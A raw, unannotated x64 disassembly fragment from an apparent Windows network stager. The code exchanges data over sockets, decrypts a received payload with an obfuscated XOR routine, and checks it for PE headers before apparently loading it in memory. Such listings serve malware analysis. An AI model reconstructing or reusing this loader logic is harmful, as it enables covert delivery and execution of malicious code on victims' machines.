mov qword [rsp + 0x50], rbp
mov rdi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rax, rdi
sub rax, rbp
cmp rax, r15
jae 0x14000343b
mov r12, rbp
add r12, r15
jb 0x140001e50
lea rax, [rdi + rdi]
cmp rax, r12
cmova r12, rax
cmp r12, 9
mov eax, 8
cmovb r12, rax
test rdi, rdi
je 0x1400033e3
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], rdi
mov eax, 1
jmp 0x1400033e5
movdqu xmm10, xmmword [rsp + 0x68]
mov rdi, qword [rsp + 0x78]
cmp qword [rsp + 0x38], 0
je 0x140003261
mov r8, qword [rsp + 0x30]
mov rcx, qword [0x140030ac8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rsp + 0xd0], rsi
movdqu xmmword [rsp + 0xd8], xmm10
mov qword [rsp + 0xe8], rdi
mov qword [rsp + 0x30], 1
lea rax, [rsp + 0x38]
movups xmmword [rax], xmm6
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x180], rax
lea rax, [rsp + 0x180]
mov qword [rsp + 0x140], rax
lea rax, case.0x1400062be.8
mov qword [rsp + 0x148], rax
lea rax, [0x1400238d8]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
mov qword [rsp + 0x80], 0
lea rax, [rsp + 0x140]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
lea rcx, [rsp + 0x30]
lea rdx, [0x140023610]
mov r8, rbx
call fcn.140009230
test al, al
jne 0x140001e50
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x70], rax
movdqu xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x60], xmm0
mov rcx, rbx
call fcn.140001250
mov r12, rax
mov rax, qword [rsp + 0xd0]
cmp rax, 6
ja 0x140003361
mov ecx, 0x57
bt rcx, rax
jb 0x1400035ec
cmp rax, 3
jne 0x14000337d
cmp qword [rsp + 0xe0], 0
je 0x1400035ec
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x140030ac8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400035ec
mov rdi, qword [rsp + 0xe0]
mov eax, edi
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x1400035ec
test rax, rax
je 0x1400035ec
mov r15, qword [rdi - 1]
mov rsi, qword [rdi + 7]
mov rcx, r15
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x1400033d2
cmp qword [rsi + 0x10], 0x11
jb 0x1400033c0
mov r15, qword [r15 - 8]
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
dec rdi
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, rdi
jmp 0x140003372
xor eax, eax
mov rdx, r12
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0xd0]
mov r8, r12
mov r9, rbx
call fcn.1400018c0
cmp qword [rsp + 0xd0], 0
mov rax, qword [rsp + 0xd8]
je 0x14000342e
movabs rcx, 0x8000000000000001
cmp rax, rcx
je 0x14000343b
jmp 0x140006084
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], r12
mov rdi, r12
mov rsi, qword [rsp + 0x30]
lea rcx, [rsi + rbp]
mov rdx, r14
mov r8, r15
call fcn.140013b60
add rbp, r15
mov qword [rsp + 0x40], rbp
cmp r13d, 0xfb
jae 0x140003483
cmp rdi, rbp
je 0x140003d49
mov byte [rsi + rbp], r13b
inc rbp
mov rsi, qword [rsp + 0x38]
cmp rsi, rbp
je 0x1400034fe
jmp 0x140003596
cmp r13d, 0x10000
jae 0x1400034c6
cmp rdi, rbp
je 0x140003df3
mov byte [rsi + rbp], 0xfb
inc rbp
mov qword [rsp + 0x40], rbp
sub rdi, rbp
cmp rdi, 1
jbe 0x140003e1a
mov word [rsi + rbp], r13w
add rbp, 2
mov rsi, qword [rsp + 0x38]
cmp rsi, rbp
je 0x1400034fe
jmp 0x140003596
cmp rdi, rbp
je 0x140003e3c
mov byte [rsi + rbp], 0xfc
inc rbp
mov qword [rsp + 0x40], rbp
sub rdi, rbp
cmp rdi, 3
jbe 0x140003e63
mov dword [rsi + rbp], r13d
add rbp, 4
mov rsi, qword [rsp + 0x38]
cmp rsi, rbp
jne 0x140003596
mov r8, rbp
inc r8
je 0x140001e50
lea rax, [rbp*2]
cmp rax, r8
cmova r8, rax
cmp r8, 9
mov eax, 8
cmovb r8, rax
test rbp, rbp
je 0x140003541
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], rbp
mov eax, 1
jmp 0x140003543
xor eax, eax
mov rdx, r8
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0xd0]
mov r9, rbx
call fcn.1400018c0
cmp qword [rsp + 0xd0], 0
mov rax, qword [rsp + 0xd8]
je 0x14000358c
mov rsi, rbp
movabs rcx, 0x8000000000000001
cmp rax, rcx
je 0x140003596
jmp 0x140006084
mov qword [rsp + 0x30], rax
mov esi, 1
mov r15, qword [rsp + 0x30]
mov byte [r15 + rbp], 1
inc rbp
cmp rbp, 0xffff
jbe 0x14000367e
mov r8d, setsockopt
mov cl, setsockopt
lea rdx, str.Buffer_too_large.
call fcn.140001140
mov r12, rax
mov rbp, qword [rsp + 0x50]
test rsi, rsi
je 0x1400035e3
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r12, r12
je 0x14000375a
movzx eax, byte [0x140030af8]
mov rax, qword [0x140030ac8]
test rax, rax
jne 0x140003615
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140001e50
mov qword [0x140030ac8], rax
mov r8d, 8
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140001e50
mov r15, rax
mov qword [rax], r12
cmp qword [rsp + 0xc8], 0
je 0x140003654
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rbp, rbp
je 0x14000366b
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x1400025cd
mov word [rsp + 0x60], bp
mov r12, rbx
mov ebx, 2
mov rdi, qword [rsp + 0xc0]
nop word cs:[rax + rax]
cmp rbx, 0x7fffffff
mov r8d, 0x7fffffff
cmovb r8, rbx
mov rcx, rdi
mov rdx, r12
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x140003b4c
test eax, eax
je 0x140003b75
cdqe
cmp rbx, rax
jb 0x140001e50
add r12, rax
sub rbx, rax
jne 0x1400036a0
test rbp, rbp
je 0x140003bc8
mov rdi, qword [rsp + 0xc0]
mov r12, r15
lea rbx, [rsp + 0x60]
nop dword [rax]
cmp rbp, 0x7fffffff
mov r8d, 0x7fffffff
cmovb r8, rbp
mov rcx, rdi
mov rdx, r12
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x140003d0b
test eax, eax
je 0x140003d2f
cdqe
cmp rbp, rax
jb 0x140001e50
add r12, rax
sub rbp, rax
jne 0x140003700
xor r12d, r12d
mov rbp, qword [rsp + 0x50]
test rsi, rsi
jne 0x1400035d1
jmp 0x1400035e3
cmp qword [rsp + 0xc8], 0
je 0x140003779
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rbp, rbp
je 0x140003790
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov word [rsp + 0x60], 0
mov esi, 2
mov rdi, qword [rsp + 0xc0]
mov r15, rbx
nop word [rax + rax]
cmp rsi, 0x7fffffff
mov r8d, 0x7fffffff
cmovb r8, rsi
mov rcx, rdi
mov rdx, r15
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x140003b94
cdqe
test rax, rax
je 0x140003bbc
cmp rsi, rax
jb 0x140001e50
add r15, rax
sub rsi, rax
jne 0x1400037b0
movzx r12d, word [rsp + 0x60]
test r12, r12
je 0x140003be3
mov rax, qword [0x140030ac8]
test rax, rax
jne 0x140003826
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140001e50
mov qword [0x140030ac8], rax
mov rcx, rax
mov edx, 8
mov r8, r12
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140001e50
mov r15, rax
mov rdi, qword [rsp + 0xc0]
mov r13, rax
mov rsi, r12
nop word cs:[rax + rax]
cmp rsi, 0x7fffffff
mov r8d, 0x7fffffff
cmovb r8, rsi
mov rcx, rdi
mov rdx, r13
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x140003d6b
cdqe
test rax, rax
je 0x140003d8c
cmp rsi, rax
jb 0x140001e50
add r13, rax
sub rsi, rax
jne 0x140003860
cmp r12w, 0x1f
jbe 0x140003c0a
movdqu xmm10, xmmword [r15]
movdqu xmm11, xmmword [r15 + 0x10]
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
movdqu xmmword [rsp + 0x1d0], xmm11
movdqu xmmword [rsp + 0x1c0], xmm10
lea rcx, [rsp + 0x180]
call fcn.14000f220
pxor xmm10, xmm8
movdqa xmmword [rsp + 0x140], xmm10
pxor xmm11, xmm8
movdqa xmmword [rsp + 0x150], xmm11
movzx eax, byte [0x140030af8]
mov rax, qword [0x140030ac8]
test rax, rax
jne 0x140003935
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140001e50
mov qword [0x140030ac8], rax
mov r8d, 0x46
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140001e50
mov r15, rax
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x130], 0x46
lea rax, [0x14001df5c]
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
movabs rax, 0x95407dd73a5618d3
mov qword [rsp + 0x60], rax
mov rdx, qword [rsp + 0x60]
call fcn.140001af0
movzx eax, word [rax]
mov ecx, eax
xor cl, 0x28
shr eax, 8
xor al, 0xce
movzx ecx, cl
movzx eax, al
shl eax, 8
or eax, ecx
mov word [r15], ax
mov qword [rsp + 0x138], 2
mov edi, 2
xor esi, esi
jmp 0x1400039e2
inc rsi
cmp rsi, 0x20
lea rbx, [rsp + 0x60]
je 0x140003e85
lea rax, [rsp + rsi]
add rax, 0x140
mov qword [rsp + 0x1b0], rax
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x168], rax
lea rax, [0x140001630]
mov qword [rsp + 0x170], rax
mov qword [rsp + 0x60], 2
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 2
mov qword [rsp + 0x80], 0
movabs rax, 0x800000020
mov qword [rsp + 0x88], rax
mov byte [rsp + 0x90], 3
lea rax, [0x1400238d8]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 1
mov qword [rsp + 0xf0], rbx
mov qword [rsp + 0xf8], 1
lea rax, [rsp + 0x168]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 1
mov qword [rsp + 0x30], 1
movups xmmword [rsp + 0x38], xmm6
lea rcx, [rsp + 0x30]
lea rdx, [0x140023698]
lea r8, [rsp + 0xd0]
call fcn.140009230
test al, al
jne 0x140001e50
mov r12, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
mov r13, qword [rsp + 0x40]
mov rax, qword [rsp + 0x130]
sub rax, rdi
cmp rax, r13
jb 0x140003b27
lea rcx, [r15 + rdi]
mov rdx, r12
mov r8, r13
call fcn.140013b60
add rdi, r13
mov qword [rsp + 0x138], rdi
test rbx, rbx
je 0x1400039d0
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, r12
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400039d0
lea rcx, [rsp + 0x128]
mov rdx, rdi
mov r8, r13
call fcn.140021710
mov r15, qword [rsp + 0x128]
mov rdi, qword [rsp + 0x138]
jmp 0x140003aed
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov r12d, eax
shl r12, 0x20
or r12, 2
lea rbx, [rsp + 0x60]
mov rbp, qword [rsp + 0x50]
test rsi, rsi
jne 0x1400035d1
jmp 0x1400035e3
lea r12, [0x140024520]
lea rbx, [rsp + 0x60]
mov rbp, qword [rsp + 0x50]
test rsi, rsi
jne 0x1400035d1
jmp 0x1400035e3
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea r13, str.failed_to_fill_whole_buffer
cmp eax, 0x274a
je 0x140003da5
shl rax, 0x20
or rax, 2
mov r13, rax
jmp 0x140003da5
lea r13, str.failed_to_fill_whole_buffer
jmp 0x140003da5
xor r12d, r12d
lea rbx, [rsp + 0x60]
mov rbp, qword [rsp + 0x50]
test rsi, rsi
jne 0x1400035d1
jmp 0x1400035e3
mov r15d, 1
mov edx, 1
lea rcx, [rsp + 0xc0]
mov r8, r12
call fcn.140001010
mov r13, rax
test rax, rax
jne 0x140003da5
mov eax, 0x20
sub rax, r12
movq xmm0, rax
pshufd xmm1, xmm0, 0x44
pslldq xmm0, 0xf
psrlq xmm0, 0x38
pand xmm1, xmm7
por xmm1, xmm0
movdqu xmmword [rsp + 0xd0], xmm1
mov qword [rsp + 0x30], 1
lea rax, [rsp + 0x38]
movups xmmword [rax], xmm6
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x180], rax
lea rax, [rsp + 0x180]
mov qword [rsp + 0x140], rax
lea rax, case.0x140006b4e.8
mov qword [rsp + 0x148], rax
lea rax, [0x1400238d8]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
mov qword [rsp + 0x80], 0
lea rax, [rsp + 0x140]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
lea rcx, [rsp + 0x30]
lea rdx, [0x140023610]
mov r8, rbx
call fcn.140009230
test al, al
jne 0x140001e50
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x70], rax
movdqu xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x60], xmm0
mov rcx, rbx
call fcn.140001250
mov r13, rax
movzx eax, byte [rsp + 0xd0]
cmp rax, 0xe
jae 0x14000400e
test r12, r12
jne 0x140003d93
jmp 0x140003da5
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov r12d, eax
shl r12, 0x20
or r12, 2
mov rbp, qword [rsp + 0x50]
test rsi, rsi
jne 0x1400035d1
jmp 0x1400035e3
lea r12, [0x140024520]
mov rbp, qword [rsp + 0x50]
test rsi, rsi
jne 0x1400035d1
jmp 0x1400035e3
mov r8d, 1
lea rcx, [rsp + 0x30]
mov rdx, rdi
call fcn.140021710
mov rsi, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
jmp 0x140003469
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea r13, str.failed_to_fill_whole_buffer
cmp eax, 0x274a
je 0x140003d93
shl rax, 0x20
or rax, 2
mov r13, rax
jmp 0x140003d93
lea r13, str.failed_to_fill_whole_buffer
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
movzx eax, byte [0x140030af8]
mov rax, qword [0x140030ac8]
test rax, rax
jne 0x140003dce
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140001e50
mov qword [0x140030ac8], rax
mov r8d, 8
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140001e50
mov r15, rax
mov qword [rax], r13
jmp 0x14000366b
mov r8d, 1
lea rcx, [rsp + 0x30]
mov rdx, rdi
call fcn.140021710
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
jmp 0x140003495
mov r8d, 2
lea rcx, [rsp + 0x30]
mov rdx, rbp
call fcn.140021710
mov rsi, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
jmp 0x1400034ae
mov r8d, 1
lea rcx, [rsp + 0x30]
mov rdx, rdi
call fcn.140021710
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
jmp 0x1400034cf
mov r8d, 4
lea rcx, [rsp + 0x30]
mov rdx, rbp
call fcn.140021710
mov rsi, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
jmp 0x1400034e8
lea rax, [0x140021d79]
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
movabs rax, 0x148ef4591461142d
mov qword [rsp + 0x60], rax
mov rdx, qword [rsp + 0x60]
call fcn.140001b20
mov ebx, dword [rax]
mov eax, 0xbad45e47
xor ebx, eax
mov rsi, qword [rsp + 0x130]
mov rax, rsi
sub rax, rdi
cmp rax, 3
jbe 0x1400040ad
mov r15, qword [rsp + 0x128]
mov dword [r15 + rdi], ebx
add rdi, 4
mov rbp, qword [rsp + 0x180]
mov r8, qword [rsp + 0x190]
mov qword [rsp + 0x20], rdi
lea rcx, [rsp + 0x30]
mov rdx, rbp
mov r9, r15
call fcn.140011f20
test rsi, rsi
je 0x140003f1c
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r13, qword [rsp + 0x30]
mov r15, qword [rsp + 0x40]
lea rcx, [rsp + 0xd0]
mov rdx, r13
mov r8, r15
xor r9d, r9d
call fcn.140010930
cmp dword [rsp + 0xd0], 2
lea rbx, [rsp + 0x60]
jne 0x140004173
mov rdi, qword [rsp + 0xd8]
mov eax, edi
and eax, 3
cmp rax, 2
jb 0x1400040f6
cmp eax, 2
jne 0x1400040f6
mov rax, rdi
shr rax, 0x20
cmp eax, 0x780
jne 0x1400040f6
mov rcx, rbx
mov rdx, r13
mov r8, r15
mov r9d, 0x200000
call fcn.140010930
cmp dword [rsp + 0x60], 2
jne 0x1400040d8
mov r15, qword [rsp + 0x68]
mov eax, r15d
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x1400040f6
test rax, rax
je 0x1400040f6
mov r12, qword [r15 - 1]
mov rsi, qword [r15 + 7]
mov rcx, r12
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x140003ff4
cmp qword [rsi + 0x10], 0x11
jb 0x140003fe2
mov r12, qword [r12 - 8]
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, r12
call qword [sym.imp.KERNEL32.dll_HeapFree]
dec r15
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400040f6
cmp eax, 0xe
je 0x14000403e
cmp eax, 0xf
je 0x140003cfd
cmp qword [rsp + 0xe0], 0
je 0x140003cfd
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x140030ac8]
xor edx, edx
jmp 0x1400040a2
mov rdi, qword [rsp + 0xe0]
mov eax, edi
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x140003cfd
test rax, rax
je 0x140003cfd
mov rbp, qword [rdi - 1]
mov rsi, qword [rdi + 7]
mov rcx, rbp
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x140004093
cmp qword [rsi + 0x10], 0x11
jb 0x140004081
mov rbp, qword [rbp - 8]
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, rbp
call qword [sym.imp.KERNEL32.dll_HeapFree]
dec rdi
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140003cfd
mov r8d, 4
lea rcx, [rsp + 0x128]
mov rdx, rdi
call fcn.140021710
mov rsi, qword [rsp + 0x130]
mov rdi, qword [rsp + 0x138]
jmp 0x140003ed0
test byte [rsp + 0xa1], 4
je 0x140004173
mov eax, dword [rsp + 0xa4]
mov ecx, 0x20000000
and eax, ecx
je 0x140004173
mov eax, edi
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x140004150
test rax, rax
je 0x140004150
mov r15, qword [rdi - 1]
mov rsi, qword [rdi + 7]
mov rcx, r15
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x14000413b
cmp qword [rsi + 0x10], 0x11
jb 0x140004129
mov r15, qword [r15 - 8]
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
dec rdi
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rsp + 0x38], 0
je 0x140004664
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140004664
mov r12, qword [rsp + 0x38]
mov dword [rsp + 0x60], 0
lea rax, [rsp + 0x68]
movups xmmword [rax], xmm6
mov dword [rsp + 0x78], 7
mov word [rax + 0x1c], 0
mov qword [rax + 0x14], 0
mov byte [rsp + 0x80], 1
mov rcx, r13
mov rdx, r15
mov r8, rbx
call fcn.14000f6a0
mov r14, rdx
test rax, rax
mov qword [rsp + 0xc8], rbp
je 0x140004211
xor ebp, ebp
mov rdi, r14
test r12, r12
je 0x1400041e0
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rbp, rbp
je 0x1400042b8
cmp qword [rsp + 0x1a0], 0
je 0x1400043cf
mov rcx, qword [rsp + 0x1a0]
cmp rcx, 1
jne 0x1400042d8
xor eax, eax
jmp 0x140004472
mov rcx, rbx
mov rdx, r14
call fcn.14000f8d0
mov rcx, qword [rsp + 0x60]
mov rax, rcx
mov qword [rsp + 0x58], rcx
cmp rcx, 2
mov qword [rsp + 0x120], r13
jne 0x1400045c5
mov rdi, qword [rsp + 0x68]
mov eax, edi
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x14000429a
test rax, rax
je 0x14000429a
mov r15, qword [rdi - 1]
mov rsi, qword [rdi + 7]
mov rcx, r15
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x140004285
cmp qword [rsi + 0x10], 0x11
jb 0x140004273
mov r15, qword [r15 - 8]
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
dec rdi
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rsp + 0xd0], 1
lea rax, [rsp + 0xd8]
movups xmmword [rax], xmm6
xor esi, esi
jmp 0x140004db1
mov eax, edi
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jae 0x140004653
mov rbp, qword [rsp + 0xc8]
jmp 0x140004664
and rcx, 0xfffffffffffffffe
xor eax, eax
jmp 0x1400042ed
add rax, 2
cmp rax, rcx
je 0x1400043c1
mov edx, eax
and edx, 0x1e
mov r9d, 0x50cbc10e
mov r8d, 0x62dca299
jmp 0x140004311
mov r9d, 0xead4b6cb
mov r10b, 0xff
xor byte [rbp + rax], r10b
xor r8d, r9d
cmp r8d, 0xd8c3d55c
je 0x140004330
cmp r8d, 0x32176397
je 0x140004300
cmp r8d, 0x62aca052
jne 0x14000430e
jmp 0x140004350
movzx r10d, byte [rsp + rdx + 0x1c0]
mov r9d, 0xba6f750e
jmp 0x140004309
mov rdx, rax
or rdx, 1
mov r8d, edx
and r8d, 0x1f
mov r10d, 0x50cbc10e
mov r9d, 0x62dca299
jmp 0x140004381
mov r10d, 0xead4b6cb
mov r11b, 0xff
xor byte [rbp + rdx], r11b
xor r9d, r10d
cmp r9d, 0xd8c3d55c
je 0x1400043b0
cmp r9d, 0x32176397
je 0x140004370
cmp r9d, 0x62aca052
jne 0x14000437e
jmp 0x1400042e0
movzx r11d, byte [rsp + r8 + 0x1c0]
mov r10d, 0xba6f750e
jmp 0x140004379
test byte [rsp + 0x1a0], 1
jne 0x140004472
mov r14, rdi
cmp qword [rsp + 0x188], 0
je 0x1400043f4
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, qword [rsp + 0xc8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rsp + 0xc0]
xor edx, edx
call fcn.1400060a0
test rax, rax
je 0x1400044d1
mov rdi, rax
movzx eax, byte [0x140030af8]
mov rax, qword [0x140030ac8]
test rax, rax
jne 0x140004438
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140001e50
mov qword [0x140030ac8], rax
mov r8d, 8
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140001e50
mov r15, rax
mov qword [rax], rdi
test r14, r14
je 0x14000366b
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, rbp
jmp 0x140003665
mov ecx, eax
and ecx, 0x1f
mov r8d, 0x50cbc10e
mov edx, 0x62dca299
jmp 0x1400044a1
xor byte [rbp + rax], r9b
xor edx, r8d
cmp edx, 0xd8c3d55c
je 0x1400044c0
cmp edx, 0x32176397
je 0x140004490
movzx r9d, byte [rsp + rcx + 0x1c0]
mov r8d, 0xba6f750e
jmp 0x140004499
mov rsi, qword [rsp + 0x1a0]
mov word [rsp + 0xd4], 0x4e42
mov dword [rsp + 0xd0], 0x494e494d
lea rax, [rsp + 0xc0]
mov qword [rsp + 0xd8], rax
lea rax, [0x1400062f0]
mov qword [rsp + 0xe0], rax
lea rax, [0x140006150]
mov qword [rsp + 0xe8], rax
movzx eax, word [rbp]
cmp eax, 0x5a4d
jne 0x14000574a
movsxd rax, dword [rbp + 0x3c]
test rax, rax
je 0x14000574a
cmp eax, 0x40
jb 0x140001e50
cmp rsi, rax
jb 0x140001e50
movzx ecx, word [rax + rbp + 0x18]
cmp ecx, 0x20b
je 0x1400055de
cmp ecx, 0x10b
jne 0x14000574a
cmp dword [rbp + rax], 0x4550
jne 0x14000574a
lea rdx, [rax + rbp]
movzx ecx, word [rdx + 4]
cmp ecx, 0x14c
jne 0x14000574a
movzx ecx, word [rdx + 0x16]
test cl, 2
je 0x14000574a
lea r8, [rax + 0xf8]
cmp r8, rsi
ja 0x140001e50
mov r9, rsi
lea rsi, [rdx + 4]
mov r10b, 1
mov dword [rsp + 0x58], r10d
xor r10d, r10d
mov qword [rsp + 0xc8], r10
jmp 0x14000563a
mov rsi, qword [rsp + 0x98]
test rsi, rsi
je 0x140004d89
js 0x140001e50
movzx eax, byte [0x140030af8]
mov rax, qword [0x140030ac8]
test rax, rax
jne 0x140004605
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140001e50
mov qword [0x140030ac8], rax
mov rcx, rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140001e50
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], rsi
mov qword [rsp + 0xe0], 0
lea r13, [rsi + 0x400]
mov rax, r13
and rax, 0x1fff
jne 0x140004da4
jmp 0x140004db1
test rax, rax
mov rbp, qword [rsp + 0xc8]
jne 0x140004a39
cmp qword [rsp + 0x188], 0
je 0x140004681
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, rbp
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rsp + 0xc0]
mov dl, 1
call fcn.1400060a0
test rax, rax
je 0x1400046b4
mov rdi, rax
movzx eax, byte [0x140030af8]
mov rax, qword [0x140030ac8]
test rax, rax
jne 0x140002976
jmp 0x140002960
movzx eax, byte [0x140030af8]
mov rax, qword [0x140030ac8]
test rax, rax
jne 0x1400046dd
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140001e50
mov qword [0x140030ac8], rax
mov r8d, 0x5000
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140001e50
mov r15, rax
mov qword [rsp + 0x168], rax
mov qword [rsp + 0x170], 0x5000
mov qword [rsp + 0x178], 0
xor esi, esi
nop dword [rax]
mov word [rsp + 0x60], 0
mov r8d, 2
lea rcx, [rsp + 0xc0]
mov rdx, rbx
call fcn.140001010
test rax, rax
jne 0x140004a84
movzx ebp, word [rsp + 0x60]
test rbp, rbp
je 0x140004a8c
mov rax, qword [0x140030ac8]
test rax, rax
jne 0x140004776
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140001e50
mov qword [0x140030ac8], rax
mov rcx, rax
mov edx, 8
mov r8, rbp
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140001e50
mov r13, rax
lea rcx, [rsp + 0xc0]
mov rdx, rax
mov r8, rbp
call fcn.140001010
test rax, rax
jne 0x140004abc
movzx r14d, byte [r13]
mov rax, r13
inc rax
lea rcx, [rbp - 1]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], rcx
cmp r14b, 1
ja 0x140004ac4
mov qword [rsp + 0xe0], 9
cmp bp, 9
mov qword [rsp + 0x58], r15
jbe 0x140004944
movzx r12d, byte [r13 + 1]
cmp r12, 0xfb
jae 0x140004810
mov r15, rsi
mov edx, 1
jmp 0x140004860
